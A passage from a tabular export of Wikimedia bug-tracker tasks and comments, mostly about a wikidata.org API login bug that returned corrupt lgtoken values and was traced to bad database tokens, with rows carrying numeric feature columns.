+Example (not representative) of reqerror graph
+
+Note, today's graph is not representative because packet loss between esams and eqiad caused a huge peak of 503 errors.
+
+Something hints me that I should try this myself. :)
+
+17.58 < ori-l> yes, you can submit a patch yourself, let me point you to the right file
+18.00 < ori-l> Nemo_bis: 
+http://git.wikimedia.org/tree/operations%2Fpuppet.git/ca6fe4efc30c6a4b2606b13aab178b9e71914dca/files%2Fgraphite%2Fgdash%2Fdashboards%2Freqerror
+18.01 < ori-l> the DSL gdash uses to describe graphs is at https://github.com/ripienaar/graphite-graph-dsl/wiki
+
+**Attached**: {F10193}",,,1384190185,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,10,True,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1
+43704,Commons app doesn't handle changed login passwords properly,"If you change your password, then the app just sortof gets 'stuck' and doesn't go anywhere - keeps trying to auth and fails.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1351874280,1411416962.0,PHID-USER-2nnm76h4ykalvvref2ye,False,,False,PHID-TASK-amwwvpcltbhc37ydpmlo,task_description,declined,True,c2,1,True,False,False,-43,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+200379,Commons app doesn't handle changed login passwords properly,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.
+
+For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411416962,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-amwwvpcltbhc37ydpmlo,task_subcomment,,True,c2,3,False,,,55,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,1
+200373,Commons app doesn't handle changed login passwords properly,Possible workaround for user: Remove account in system settings. (Not very user friendly but solves the immediate problem).,,,1402561694,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-amwwvpcltbhc37ydpmlo,task_subcomment,,True,c2,3,False,,,41,True,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+43586,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","the lgtoken attribute (which is need to create a valid cookie for future requests) is invalid after successful login.
+
+request (POST):
+action=login&lgpassword=xxx&lgname=MerlIwBot
+
+response:
+<api><login result=""NeedToken""
+ token=""087cb80705ed9564d18c3309fae1ec""
+ cookieprefix=wikidatawiki
+ sessionid=""9b4c867c526e06f0e55ee395287ff0""
+/></api>
+
+request (POST):
+action=login&lgtoken=087cb80705ed9564d18c3309fae1ec&lgpassword=xxx&lgname=MerlIwBot
+
+response:
+<api><login result=""Success""
+ lguserid=""3280""
+ lgusername=""MerlIwBot""
+ lgtoken=""��������������������������������""
+ cookieprefix=wikidatawiki
+ sessionid=""9b4c867c526e06af0e55ee39f287ff0""
+/></api>
+
+password, sessionid and first token is a bit modified for this paste of course. The problem is that the lgtoken is invalid because it only contains character hex:EF BF BD (which is ""object replacement character"" according to unicode table)
+
+Login on all other wmf wikis and wikidata-test-repo.wikimedia.de work for me.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1351692240,1382135480.0,PHID-USER-rbcxdzszrm6s4izt67kj,False,,False,PHID-TASK-npcbvlspmilnumexuhnd,task_description,resolved,True,c2,1,False,False,True,-43,True,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+193605,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","This should actually be done, as a consequence of the fun potential data breach response (all tokens were reset on affected wikis, and wikidata was one).",,,1382135480,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,3,False,,,7,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+193599,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Reedy, can you run maintenance/resetUserTokens.php on the cluster at some point?",,,1382121736,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,3,True,,,7,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+193592,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Patch has been merged. Reedy, can you run maintenance/resetUserTokens.php on the cluster at some point?",,,1379606983,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,3,True,,,3,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+193587,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Change 77136 merged by jenkins-bot:
+Efficiently reset null user tokens
+
+https://gerrit.wikimedia.org/r/77136",,,1377735654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+193584,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Change 77136 had a related patch set uploaded by CSteipp:
+Efficiently reset null user tokens
+
+https://gerrit.wikimedia.org/r/77136",,,1375372243,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+193580,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #33)
+> I'll take a look at making resetUserTokens.php more efficient, and then we
+> can
+> find someone to run it for the affected wikis.
+> 
+> Aaron, could you find out which wikis had the wrong column definition?
+
+It really should just be run on all wikis.
+
+The script can be made faster by:
+(a) Batching the SELECT by user_id
+(b) Avoiding the User function to update the token and doing it directly
+(c) Batching these token updates
+(d) A script option can be added to skip rows with valid tokens (the bad ones are all \0, good ones should have the right length and hex chars)",,,1372351086,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-9,True,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+193576,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I'll take a look at making resetUserTokens.php more efficient, and then we can find someone to run it for the affected wikis.
+
+Aaron, could you find out which wikis had the wrong column definition?",,,1372349883,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-9,True,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+193572,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",Reopening as per last comment.,,,1371684175,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+193567,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I do not know whether this is fixed for all users. The issue is rooted in a corrupt entry in the user table (ask Aaron or Tim for details). So, this issue would affect some users but not others, until all user entries in the database have been fixed. I do not have a way to check this.",,,1371635304,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-10,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+193562,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",No answer => Closing.,,,1371625878,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+193559,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Works for me now with the script in comment 25, token seems to be correct.
+
+Daniel Kinzler: Can you confirm?",,,1371150674,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-11,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0
+193555,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Works for me now with the script in comment 25, token seems to be correct.
+
+Daniel Kinzler: Can you confirm?",,,1369920730,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0
+193550,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",Tim / Aaron: How can we get some progress here in order to get this fixed?,,,1364978820,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-21,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+193545,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Still open. Corrupt tokens are still in the database:
+
+[22:07] <AaronSchulz> Tim was running a script but it stalled out and needed to be batched
+[22:07] <AaronSchulz> I don't think he ever rewrote it, so the rows are probably still broken",,,1362777213,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+193539,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Created attachment 11899
+bash script for testing the API response
+
+Improved test script: no password on the command line, runs output through hexdump.
+
+**Attached**: {F9929}",,,1362776977,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+193532,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",I am still getting the broken token.,,,1362776754,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+193526,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","FIXED?
+
+https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&diff=61872&oldid=61871 says:
+
+> * 21:31 Tim: running resetUserTokens.php on all wikis, in screen on hume, to fix user_token field corruption ([[bugzilla:41586|bug 41586]])",,,1362376561,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-26,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1
+193519,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","An extended debugging session by Aaron and Tim unearthed bad tokens appearing in the database due to issues with a schema change. Fixes are on gerrit, see I92f1645d4 and I3529fe8af",,,1361929572,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+193515,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #20)
+> Comment in the RT ticket is:
+> ""I think this rather needs attention from wikidata dev people, which would be
+> Wikimedia Deutschland people almost entirely, afaik""
+
+I do not see how the Wikidata team can do anything about this.
+
+* We do not deal with login code or token generation at all. The problem occurs with a core API call that has nothing to do with the Wikibase extension.
+
+* The problem is exclusive to wikidata.org. We can not reproduce it on any of our test systems.
+
+* Nobody in the Wikidata team has the access level necessary to investigate the issue.
+
+So, what do you suggest the Wikidata team can do about the problem?",,,1361910543,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-27,True,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+193510,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Comment in the RT ticket is:
+""I think this rather needs attention from wikidata dev people, which would be Wikimedia Deutschland people almost entirely, afaik""
+
+
+I get the same results as in comment 6, using the Bash script in https://www.wikidata.org/wiki/Wikidata:Contact_the_development_team/Archive/2012/12#API:_Login_doesn.27t_work.3F
+
+$:andre\> ./login.sh Malyacko xxxxxxxx de.wikipedia.org
+<?xml version=""1.0""?><api><login result=""NeedToken"" token=""48dc7df07df9d9b6529c7d56f33c2eb5"" cookieprefix=""dewiki"" sessionid=""392cc0b55fe5b7594d3fd41536421c89"" /></api>
+
+<?xml version=""1.0""?><api><login result=""Success"" lguserid=""1220085"" lgusername=""Malyacko"" lgtoken=""f409b84cd9049810ecf8db70eac8e9f4"" cookieprefix=""dewiki"" sessionid=""392cc0b55fe5b7594d3fd41536421c89"" /></api> 
+
+$:andre\> ./login.sh Malyacko xxxxxxxx www.wikidata.org
+<?xml version=""1.0""?><api><login result=""NeedToken"" token=""aa8e747286dc98018d750cac5ee62b6b"" cookieprefix=""wikidatawiki"" sessionid=""b54e252498f7c97280965e4736c4035b"" /></api>
+
+<?xml version=""1.0""?><api><login result=""Success"" lguserid=""37514"" lgusername=""Malyacko"" lgtoken=""��������������������������������"" cookieprefix=""wikidatawiki"" sessionid=""b54e252498f7c97280965e4736c4035b"" /></api>",,,1361891272,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-27,True,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+193509,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",Reedy: Could you answer comment 18?,,,1361199018,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+193508,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #17)
+> WFM (with Daniels script)...
+
+with a valid name & password? can you post the output, please?",,,1357908869,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+193507,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",WFM (with Daniels script)...,,,1357856896,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-33,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+193506,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header",RT #4304.,,,1357817501,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+193505,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Sorry, I was wrong, I *can* reproduce it: if I run the test script with a valid user name and password, I get back a broken lgtoken.",,,1357816309,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+193503,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Merl:
+Please check whether it works for you now.
+
+Decreasing priority for the time being, as it's currently not reproducible as per comment 9 and 13.",,,1357815488,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,True,,,-33,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+193499,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","I have attached the test script provided by merl at https://www.wikidata.org/wiki/Wikidata:Contact_the_development_team/Archive/2012/12#API:_Login_doesn.27t_work.3F
+
+Running it now, it seems to work:
+
+bash ~/src/bug-41586.sh foo bar
+<?xml version=""1.0""?><api><login result=""NeedToken"" token=""cd3f7d845bef68f23fd4f9f37f1c1fc7"" cookieprefix=""wikidatawiki"" sessionid=""8181ac1523df3d24ec18d1be4fec8153"" /></api>
+
+<?xml version=""1.0""?><api><login result=""NotExists"" /></api> 
+
+
+Please check whether it works for you now. Otherwise, we can close the bug. Would be nice to understand what was going on, though...",,,1357308227,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-34,True,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+193491,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","Created attachment 11586
+bash script for testing the API response
+
+Provide any name and password as first and second parameters to check the token.
+
+//attachment bug-41586.sh ignored as obsolete//",,,1357308097,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-34,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+193479,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #8)
+> Daniel: I didn't assign it on purpose, it's just the default assignee.
+
+Ah, you changed the component, now I see.
+
+> If it's a config issue I'll move it to ""Site requests"".
+
+*If* it's a config issue - but I'm afraid we'll need some life-site-debugging to find that out.",,,1355754459,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+193473,"On wikidata.org, api login returns wrong lgtoken (object replacement character) in response body; correct in HTTP header","(In reply to comment #9)
+> I wonder if we in the beginning asked for a new token as we used a special
+> itemtoken. 
+
+Even then, the token would change, but it would not suddenly consist of invalid characters.",,,1355754308,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-npcbvlspmilnumexuhnd,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1
